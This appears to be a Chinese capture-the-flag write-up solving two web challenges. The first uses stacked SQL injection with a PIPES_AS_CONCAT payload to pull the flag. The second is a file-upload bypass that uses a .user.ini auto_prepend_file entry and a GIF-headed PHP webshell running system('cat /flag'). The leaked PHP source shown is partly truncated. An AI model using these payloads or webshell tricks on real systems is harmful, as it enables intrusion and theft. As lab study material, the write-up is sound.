EasySQL

  • 1、堆叠注入
  • 2、set sql_mode=PIPES_AS_CONCAT;||视为字符串的连接操作符而非或运算符
  • 3、没有过滤*的时候可以直接注入*

测试过滤词

被过滤的词有:

1
union prepare && or sleep if from...

可用的词:

1
select set database mid ascii || , ^ ( ) # show ping 12; benchmark ...

输入1’没什么反应,输入1返回1,猜测是堆叠注入,输入1;select 123;返回Array ( [0] => 1 ) Array ( [0] => 123 ) ,嗯~,输入1;select benchmark(50000000,7^5^8);存在延迟。后续测试发现有长度限制,为40。

1
2
3
4
5
6
7
8
9
10
11
1;select database();
Array ( [0] => 1 ) Array ( [0] => ctf )

1;use ctf;show tables;
Array ( [0] => 1 ) Array ( [0] => Flag )

1;use ctf;describe Flag;
nonono

1;use ctf;describe(select(0x466c6167)); --> length=39

发现不了新姿势了,搜搜wp吧。。

EasySQL

简书

MySQL中sql_mode参数

oracle中||

mysql中||

我见过最短的payload:

1
*,0

image-20200226092843800

太amazing了~~

原来比赛中是有源码泄露的,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

解法1

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

设置sql_mode为PIPES_AS_CONCAT后可改变’||'的含义为连接字符串。

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

改变语义后就是将前一个字段的查询结果和后一个字段查询结果进行拼接(类似于字符串的拼接函数Concat)。这样两个字段都会被查询

相当于执行: select 1||flag from Flag

在本地环境测试测试

||作为逻辑或时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
MariaDB [test]> select @@sql_mode;
+-------------------------------------------------------------------------------------------+
| @@sql_mode |
+-------------------------------------------------------------------------------------------+
| STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |
+-------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [test]> SELECT 1 || -1 || 0,1 || "flagasdasd" ,1 || 2,1 || NULL, 0 || NULL, NULL || NULL;
+--------------+-------------------+--------+-----------+-----------+--------------+
| 1 || -1 || 0 | 1 || "flagasdasd" | 1 || 2 | 1 || NULL | 0 || NULL | NULL || NULL |
+--------------+-------------------+--------+-----------+-----------+--------------+
| 1 | 1 | 1 | 1 | NULL | NULL |
+--------------+-------------------+--------+-----------+-----------+--------------+

1 row in set (0.001 sec)
MariaDB [test]> select flag from flag;
+----------------------------------------+
| flag |
+----------------------------------------+
| D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |
+----------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.000 sec)

MariaDB [test]> select 1||flag from flag; # 1 || flag 相当于把flag的结果与数字1做或判断,数字||字符串 的结果为1。 相当于 1 or "xxxx"
+---------+
| 1||flag |
+---------+
| 1 |
+---------+
1 row in set (0.002 sec)

||作为连接词时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MariaDB [test]> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.002 sec)

MariaDB [test]> select @@sql_mode;
+-----------------+
| @@sql_mode |
+-----------------+
| PIPES_AS_CONCAT |
+-----------------+
1 row in set (0.000 sec)

MariaDB [test]> select 0||flag from flag;
+-----------------------------------------+
| 0||flag |
+-----------------------------------------+
| 0D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |
+-----------------------------------------+
1 row in set (0.001 sec)

解法2

payload:*,1

原sql语句变为
select *,1||flag from Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [test]> select @@sql_mode;
+-------------------------------------------------------------------------------------------+
| @@sql_mode |
+-------------------------------------------------------------------------------------------+
| STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION |
+-------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select *,1||flag from flag;
+----------------------------------------+---------+
| flag | 1||flag |
+----------------------------------------+---------+
| D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} | 1 |
+----------------------------------------+---------+
1 row in set (0.000 sec)

CheckIn

  • .user.ini

首先我们来看一下题目,首页就是一个简单的上传界面:

img

我们先上传一个php文件试一下,显然是illegal的
img

经过fuzz发现修改content-type和利用特殊扩展名php5pht等都没有成功(当然也不会这么简单233)

然后我们把扩展名改为aaa试一下会怎样,发现回显:<? in contents!,那么就是说文件内容不能包含`喽,但我们此时知道它是黑名单过滤了。

img

我们再把文件内容换一下,发现回显:exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了

img

我们添加最简单的gif文件头GIF89a,发现上传成功(注意看该文件夹下还有一个index.php,当时没有注意,但在后面有大用处)
img

我们先来捋一下思路:

-> 上传过滤为黑名单,但php脚本文件应该是无法上传的

-> 存在文件头过滤,需要添加图片文件的文件头

-> 文件的内容不能包含`,但可以上传<scirpt>类型的图片马来绕过

既然是黑名单过滤而且可以上传图片马,那我们首先想到的肯定是传一个.htaccess上去来将图片马解析为php,而这种方法经过尝试发现失败了。。。

看了一下服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。

随后在网上看到了一篇p牛的文章,讲的是利用.user.ini来上传php后门

我们可以上传一个这样的.user.ini

1
2
GIF89a
auto_prepend_file=a.jpg

img

此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini,看来这个思路应该是可行的

然后再上传一个这样的图片马a.jpg:

1
2
GIF89a
<script language='php'>system('cat /flag');</script>

img

最后,我们访问http://192.168.177.152:9021/uploads/6683eb5bfa1174bd139499256f60b7ab/index.php

即可得到flag